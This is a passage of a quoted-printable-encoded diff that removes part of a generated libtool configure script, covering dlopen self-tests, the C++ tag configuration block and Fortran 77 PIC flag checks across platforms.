$lt_cv_dlopen in - dlopen) - save_CPPFLAGS=3D"$CPPFLAGS" - test "x$ac_cv_header_dlfcn_h" =3D xyes && CPPFLAGS=3D"$CPPFLAGS -D= HAVE_DLFCN_H" - - save_LDFLAGS=3D"$LDFLAGS" - eval LDFLAGS=3D\"\$LDFLAGS $export_dynamic_flag_spec\" - - save_LIBS=3D"$LIBS" - LIBS=3D"$lt_cv_dlopen_libs $LIBS" - - echo "$as_me:$LINENO: checking whether a program can dlopen itself= " >&5 -echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C"= >&6 -if test "${lt_cv_dlopen_self+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self" >&6 - - if test "x$lt_cv_dlopen_self" =3D xyes; then - LDFLAGS=3D"$LDFLAGS $link_static_flag" - echo "$as_me:$LINENO: checking whether a statically linked progr= am can dlopen itself" >&5 -echo $ECHO_N "checking whether a statically linked program can dlopen = itself... $ECHO_C" >&6 -if test "${lt_cv_dlopen_self_static+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self_static=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self_static=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self_static=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 - fi - - CPPFLAGS=3D"$save_CPPFLAGS" - LDFLAGS=3D"$save_LDFLAGS" - LIBS=3D"$save_LIBS" - ;; - esac - - case $lt_cv_dlopen_self in - yes|no) enable_dlopen_self=3D$lt_cv_dlopen_self ;; - *) enable_dlopen_self=3Dunknown ;; - esac - - case $lt_cv_dlopen_self_static in - yes|no) enable_dlopen_self_static=3D$lt_cv_dlopen_self_static ;; - *) enable_dlopen_self_static=3Dunknown ;; - esac -fi - - -# The else clause should only fire when bootstrapping the -# libtool distribution, otherwise you forgot to ship ltmain.sh -# with your package, and you will get complaints that there are -# no rules to generate ltmain.sh. -if test -f "$ltmain"; then - # See if we are running on zsh, and set the options which allow our = commands through - # without removal of \ escapes. - if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST - fi - # Now quote all the things that may contain metacharacters while bei= ng - # careful not to overquote the AC_SUBSTed values. We take copies of= the - # variables and quote the copies for generation of the libtool scrip= t. - for var in echo old_CC old_CFLAGS AR AR_FLAGS AS EGREP RANLIB LN_S L= TCC NM \ - SED SHELL STRIP \ - libname_spec library_names_spec soname_spec extract_expsyms_cmds \ - old_striplib striplib file_magic_cmd finish_cmds finish_eval \ - deplibs_check_method reload_flag reload_cmds need_locks \ - lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ - lt_cv_sys_global_symbol_to_c_name_address \ - sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ - old_postinstall_cmds old_postuninstall_cmds \ - compiler_CXX \ - CC_CXX \ - LD_CXX \ - lt_prog_compiler_wl_CXX \ - lt_prog_compiler_pic_CXX \ - lt_prog_compiler_static_CXX \ - lt_prog_compiler_no_builtin_flag_CXX \ - export_dynamic_flag_spec_CXX \ - thread_safe_flag_spec_CXX \ - whole_archive_flag_spec_CXX \ - enable_shared_with_static_runtimes_CXX \ - old_archive_cmds_CXX \ - old_archive_from_new_cmds_CXX \ - predep_objects_CXX \ - postdep_objects_CXX \ - predeps_CXX \ - postdeps_CXX \ - compiler_lib_search_path_CXX \ - archive_cmds_CXX \ - archive_expsym_cmds_CXX \ - postinstall_cmds_CXX \ - postuninstall_cmds_CXX \ - old_archive_from_expsyms_cmds_CXX \ - allow_undefined_flag_CXX \ - no_undefined_flag_CXX \ - export_symbols_cmds_CXX \ - hardcode_libdir_flag_spec_CXX \ - hardcode_libdir_flag_spec_ld_CXX \ - hardcode_libdir_separator_CXX \ - hardcode_automatic_CXX \ - module_cmds_CXX \ - module_expsym_cmds_CXX \ - lt_cv_prog_compiler_c_o_CXX \ - exclude_expsyms_CXX \ - include_expsyms_CXX; do - - case $var in - old_archive_cmds_CXX | \ - old_archive_from_new_cmds_CXX | \ - archive_cmds_CXX | \ - archive_expsym_cmds_CXX | \ - module_cmds_CXX | \ - module_expsym_cmds_CXX | \ - old_archive_from_expsyms_cmds_CXX | \ - export_symbols_cmds_CXX | \ - extract_expsyms_cmds | reload_cmds | finish_cmds | \ - postinstall_cmds | postuninstall_cmds | \ - old_postinstall_cmds | old_postuninstall_cmds | \ - sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) - # Double-quote double-evaled strings. - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_= quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\= \\"" - ;; - *) - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quo= te_subst\"\`\\\"" - ;; - esac - done - - case $lt_echo in - *'\$0 --fallback-echo"') - lt_echo=3D`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-ec= ho"$/$0 --fallback-echo"/'` - ;; - esac - -cfgfile=3D"$ofile" - - cat <<__EOF__ >> "$cfgfile" -# ### BEGIN LIBTOOL TAG CONFIG: $tagname - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$archive_cmds_need_lc_CXX - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$enable_shared_with_static_r= untimes_CXX - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# A language-specific compiler. -CC=3D$lt_compiler_CXX - -# Is the compiler the GNU C compiler? -with_gcc=3D$GCC_CXX - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_LD_CXX - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D$lt_AS - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_lt_prog_compiler_wl_CXX - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_lt_prog_compiler_pic_CXX -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_lt_cv_prog_compiler_c_o_CXX - -# Must we lock files when doing compilation ? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_lt_prog_compiler_static_CXX - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_lt_prog_compiler_no_builtin_flag_CXX - -# Compiler flag to allow reflexive dlopens. -export_dynamic_flag_spec=3D$lt_export_dynamic_flag_spec_CXX - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_whole_archive_flag_spec_CXX - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_thread_safe_flag_spec_CXX - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_old_archive_cmds_CXX -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_old_archive_from_new_cmds_CXX - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_old_archive_from_expsyms_cmds_CXX - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_archive_cmds_CXX -archive_expsym_cmds=3D$lt_archive_expsym_cmds_CXX -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_module_cmds_CXX -module_expsym_cmds=3D$lt_module_expsym_cmds_CXX - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_predep_objects_CXX - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_postdep_objects_CXX - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_predeps_CXX - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_postdeps_CXX - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_compiler_lib_search_path_CXX - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_allow_undefined_flag_CXX - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_no_undefined_flag_CXX - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$hardcode_action_CXX - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_hardcode_libdir_flag_spec_CXX - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_hardcode_libdir_flag_spec_ld_CXX - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_hardcode_libdir_separator_CXX - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$hardcode_direct_CXX - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$hardcode_minus_L_CXX - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$hardcode_shlibpath_var_CXX - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$hardcode_automatic_CXX - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$link_all_deplibs_CXX - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$fix_srcfile_path_CXX" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$always_export_symbols_CXX - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_export_symbols_cmds_CXX - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_exclude_expsyms_CXX - -# Symbols that must always be exported. -include_expsyms=3D$lt_include_expsyms_CXX - -# ### END LIBTOOL TAG CONFIG: $tagname - -__EOF__ - - -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -CC=3D$lt_save_CC -LDCXX=3D$LD -LD=3D$lt_save_LD -GCC=3D$lt_save_GCC -with_gnu_ldcxx=3D$with_gnu_ld -with_gnu_ld=3D$lt_save_with_gnu_ld -lt_cv_path_LDCXX=3D$lt_cv_path_LD -lt_cv_path_LD=3D$lt_save_path_LD -lt_cv_prog_gnu_ldcxx=3D$lt_cv_prog_gnu_ld -lt_cv_prog_gnu_ld=3D$lt_save_with_gnu_ld - -=09else -=09 tagname=3D"" -=09fi -=09;; - - F77) -=09if test -n "$F77" && test "X$F77" !=3D "Xno"; then - -ac_ext=3Df -ac_compile=3D'$F77 -c $FFLAGS conftest.$ac_ext >&5' -ac_link=3D'$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ex= t $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_f77_compiler_gnu - - -archive_cmds_need_lc_F77=3Dno -allow_undefined_flag_F77=3D -always_export_symbols_F77=3Dno -archive_expsym_cmds_F77=3D -export_dynamic_flag_spec_F77=3D -hardcode_direct_F77=3Dno -hardcode_libdir_flag_spec_F77=3D -hardcode_libdir_flag_spec_ld_F77=3D -hardcode_libdir_separator_F77=3D -hardcode_minus_L_F77=3Dno -hardcode_automatic_F77=3Dno -module_cmds_F77=3D -module_expsym_cmds_F77=3D -link_all_deplibs_F77=3Dunknown -old_archive_cmds_F77=3D$old_archive_cmds -no_undefined_flag_F77=3D -whole_archive_flag_spec_F77=3D -enable_shared_with_static_runtimes_F77=3Dno - -# Source file extension for f77 test sources. -ac_ext=3Df - -# Object file extension for compiled f77 test sources. -objext=3Do -objext_F77=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D" subroutine t\n return\n = end\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D" program t\n end\n" - -# ltmain only uses $CC for tagged configurations so make sure $CC is s= et. - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# Allow CC to be a program name with arguments. -lt_save_CC=3D"$CC" -CC=3D${F77-"f77"} -compiler=3D$CC -compiler_F77=3D$CC -cc_basename=3D`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` - -echo "$as_me:$LINENO: checking if libtool supports shared libraries" >= &5 -echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C= " >&6 -echo "$as_me:$LINENO: result: $can_build_shared" >&5 -echo "${ECHO_T}$can_build_shared" >&6 - -echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 -echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >= &6 -test "$can_build_shared" =3D "no" && enable_shared=3Dno - -# On AIX, shared libraries and static libraries use the same namespace= , and -# are all built from PIC. -case "$host_os" in -aix3*) - test "$enable_shared" =3D yes && enable_static=3Dno - if test -n "$RANLIB"; then - archive_cmds=3D"$archive_cmds~\$RANLIB \$lib" - postinstall_cmds=3D'$RANLIB $lib' - fi - ;; -aix4* | aix5*) - test "$enable_shared" =3D yes && enable_static=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $enable_shared" >&5 -echo "${ECHO_T}$enable_shared" >&6 - -echo "$as_me:$LINENO: checking whether to build static libraries" >&5 -echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >= &6 -# Make sure either enable_shared or enable_static is yes. -test "$enable_shared" =3D yes || enable_static=3Dyes -echo "$as_me:$LINENO: result: $enable_static" >&5 -echo "${ECHO_T}$enable_static" >&6 - -test "$ld_shlibs_F77" =3D no && can_build_shared=3Dno - -GCC_F77=3D"$G77" -LD_F77=3D"$LD" - -lt_prog_compiler_wl_F77=3D -lt_prog_compiler_pic_F77=3D -lt_prog_compiler_static_F77=3D - -echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&= 5 -echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C"= >&6 - - if test "$GCC" =3D yes; then - lt_prog_compiler_wl_F77=3D'-Wl,' - lt_prog_compiler_static_F77=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static_F77=3D'-Bstatic' - fi - ;; - - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - lt_prog_compiler_pic_F77=3D'-m68020 -resident32 -malways-restore= -a4' - ;; - - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic_F77=3D'-DDLL_EXPORT' - ;; - - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - lt_prog_compiler_pic_F77=3D'-fno-common' - ;; - - msdosdjgpp*) - # Just because we use GCC doesn't mean we suddenly get shared li= braries - # on systems that don't support them. - lt_prog_compiler_can_build_shared_F77=3Dno - enable_shared=3Dno - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09lt_prog_compiler_pic_F77=3D-Kconform_pic - fi - ;; - - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic_F77=3D'-fPIC' -=09;; - esac - ;; - - *) - lt_prog_compiler_pic_F77=3D'-fPIC' - ;; - esac - else - # PORTME Check for flag to pass linker flags through the system co= mpiler. - case $host_os in - aix*) - lt_prog_compiler_wl_F77=3D'-Wl,' - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static_F77=3D'-Bstatic' - else -=09lt_prog_compiler_static_F77=3D'-bnso -bI:/lib/syscalls.exp' - fi - ;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case "$cc_basename" in - xlc*) - lt_prog_compiler_pic_F77=3D'-qnocommon' - lt_prog_compiler_wl_F77=3D'-Wl,' - ;; - esac - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic_F77=3D'-DDLL_EXPORT' - ;; - - hpux9* | hpux10* | hpux11*) - lt_prog_compiler_wl_F77=3D'-Wl,' - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic_F77=3D'+Z' -=09;; - esac - # Is there a better lt_prog_compiler_static that works with the = bundled CC? - lt_prog_compiler_static_F77=3D'${wl}-a ${wl}archive' - ;; - - irix5* | irix6* | nonstopux*) - lt_prog_compiler_wl_F77=3D'-Wl,' - # PIC (with -KPIC) is the default. - lt_prog_compiler_static_F77=3D'-non_shared' - ;; - - newsos6) - lt_prog_compiler_pic_F77=3D'-KPIC' - lt_prog_compiler_static_F77=3D'-Bstatic' - ;; - - linux*) - case $CC in - icc* | ecc*) -=09lt_prog_compiler_wl_F77=3D'-Wl,' -=09lt_prog_compiler_pic_F77=3D'-KPIC' -=09lt_prog_compiler_static_F77=3D'-static' - ;; - ccc*) - lt_prog_compiler_wl_F77=3D'-Wl,' - # All Alpha code is PIC. - lt_prog_compiler_static_F77=3D'-non_shared' - ;; - esac - ;; - - osf3* | osf4* | osf5*) - lt_prog_compiler_wl_F77=3D'-Wl,' - # All OSF/1 code is PIC. - lt_prog_compiler_static_F77=3D'-non_shared' - ;; - - sco3.2v5*) - lt_prog_compiler_pic_F77=3D'-Kpic' - lt_prog_compiler_static_F77=3D'-dn' - ;; - - solaris*) - lt_prog_compiler_wl_F77=3D'-Wl,' - lt_prog_compiler_pic_F77=3D'-KPIC' - lt_prog_compiler_static_F77=3D'-Bstatic' - ;; - - sunos4*) - lt_prog_compiler_wl_F77=3D'-Qoption ld ' - lt_prog_compiler_pic_F77=3D'-PIC' - lt_prog_compiler_static_F77=3D'-Bstatic' - ;; - - sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - lt_prog_compiler_wl_F77=3D'-Wl,' - lt_prog_compiler_pic_F77=3D'-KPIC' - lt_prog_compiler_static_F77=3D'-Bstatic' - ;; - - sysv4*MP*) - if test -d /usr/nec ;then -=09lt_prog_compiler_pic_F77=3D'-Kconform_pic' -=09lt_prog_compiler_static_F77=3D'-Bstatic' - fi - ;; - - uts4*) - lt_prog_compiler_pic_F77=3D'-pic' - lt_prog_compiler_static_F77=3D'-Bstatic' - ;; - - *) - lt_prog_compiler_can_build_shared_F77=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_F77" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_F77" >&6 - -# -# Check to make sure the PIC flag actually works. -# -if test -n "$lt_prog_compiler_pic_F77"; then - -echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler= _pic_F77 works" >&5 -echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_F77= works... $ECHO_C" >&6 -if test "${lt_prog_compiler_pic_works_F77+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_prog_compiler_pic_works_F77=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"$lt_prog_compiler_pic_F77" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:13410: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:13414: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_prog_compiler_pic_works_F77=3Dyes - fi - fi - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_F77" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_works_F77" >&6 - -if test x"$lt_prog_compiler_pic_works_F77" =3D xyes; then - case $lt_prog_compiler_pic_F77 in - "" | " "*) ;; - *) lt_prog_compiler_pic_F77=3D" $lt_prog_compiler_pic_F77" ;; - esac -else - lt_prog_compiler_pic_F77=3D - lt_prog_compiler_can_build_shared_F77=3Dno -fi - -fi -case "$host_os" in - # For platforms which do not support PIC, -DPIC is meaningless: - *djgpp*) - lt_prog_compiler_pic_F77=3D - ;; - *) - lt_prog_compiler_pic_F77=3D"$lt_prog_compiler_pic_F77" - ;; -esac - -echo 